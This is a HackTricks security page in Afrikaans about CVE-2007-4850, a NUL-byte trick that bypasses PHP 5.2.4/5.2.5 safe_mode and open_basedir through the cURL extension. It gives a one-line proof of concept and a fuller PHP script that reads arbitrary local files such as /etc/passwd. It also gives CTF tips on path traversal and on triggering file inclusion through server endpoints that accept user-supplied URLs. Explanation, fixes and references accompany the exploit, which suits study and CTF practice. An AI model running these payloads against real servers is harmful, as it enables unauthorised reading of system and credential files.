PHP 5.2.4 en 5.2.5 PHP cURL
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Hierdie bladsy dokumenteer ’n verouderde maar steeds nuttige truuk — nuttig in CTFs en op lokale verouderde installasies — om PHP safe_mode/open_basedir kontroles te omseil met die cURL-uitbreiding op sekere PHP 5.2.x builds.
- Geaffekteer: PHP 5.2.4 en 5.2.5 met ext/curl geaktiveer.
- Impak: Lees arbitrêre plaaslike lêers ondanks safe_mode of open_basedir beperkings (geen direkte kode-uitvoering nie).
- ID: CVE-2007-4850.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
Eenreël PoC
As safe_mode of open_basedir aktief is en cURL geaktiveer is, sal die volgende die inhoud van die huidige skrip teruggee:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
Meer eksplisiete PoC (willekeurige lêerlees)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Aantekeninge:
- Gebruik dubbel aanhalingstekens of chr(0) om ’n werklike NUL-byte in te voeg. Percent-encoding (%00) sal nie betroubaar werk nie.
- Dit is ’n file read primitive. Kombineer dit met ander primitives (log poisoning, session file inclusion, ens.) vir verdere eskalasie wanneer moontlik.
Waarom dit werk (kort)
Die kwesbaarheid lê in hoe PHP 5.2.4/5.2.5 safe_mode/open_basedir kontroles uitgevoer het vir file:// URLs in ext/curl. Die check het die URL geparseer en ’n padkomponent gevalideer, maar weens NUL-byte hantering het dit ’n ander string gevalideer as dié waarvoor libcurl eintlik gebruik is. In praktyk kon die validator die pad ná die NUL goedkeur terwyl libcurl die deel voor die NUL as die URL-houer gebruik het, wat ’n bypass moontlik maak wat daartoe lei dat die lêer gelees word wat ná die NUL-byte geplaas is. Sien die oorspronklike ontleding en die geaffekteerde makro in curl/interface.c vir besonderhede. [CVE-2007-4850].
Beperkings en regstellings
- Gerepareer in latere 5.2.x (bv. distro-boues gepatch na 5.2.6) deur die parsing/validasie in ext/curl reg te stel.
- Beïnvloed slegs baie ou PHP-implementasies; safe_mode is verwyder in PHP 5.4 en moderne boue toon nie hierdie gedrag nie.
Verwante historiese cURL-gebaseerde bypasses
- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed
file://access with embedded NULs to bypass open_basedir; fixed before 5.2.x. - PHP bugs #30609/#36223 tracked early cURL open_basedir issues using
file://without canonicalization. Any check before the NUL byte or withoutrealpath-style resolution is prone to the same truncation.
CTF wenke
- Wanneer jy PHP 5.2.4/5.2.5 met ext/curl gelaai identifiseer (kyk vir
cURL support => enabledinphpinfo()en die presiesePHP Version), werk hierdie trick gewoonlik selfs al isallow_url_fopengedeaktiveer omdat ext/curl selffile://hanteer. - As direkte paaie geblokkeer is, probeer relatiewe traversal ná die NUL, bv.
file://x\x00../../../../etc/passwd. Die traversal word deur libcurl opgelos, nie deur die open_basedir-bewaker nie. - Jy kan die payload in ’n enkele HTTP-request liggaam inpak om die LFI te trigger deur kwesbare server-side kode wat gebruiker-beheerde URLs in
curl_exec()spieël (algemeen in ouer SSRF-like endpoints).
Sien ook
Other disable_functions/open_basedir bypasses and modern techniques are collected here:
References
- Ubuntu CVE entry with patch pointers and affected versions
- Technical writeup with code context (cxsecurity)
- PHP bug #36223 (curl bypasses open_basedir)
- CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


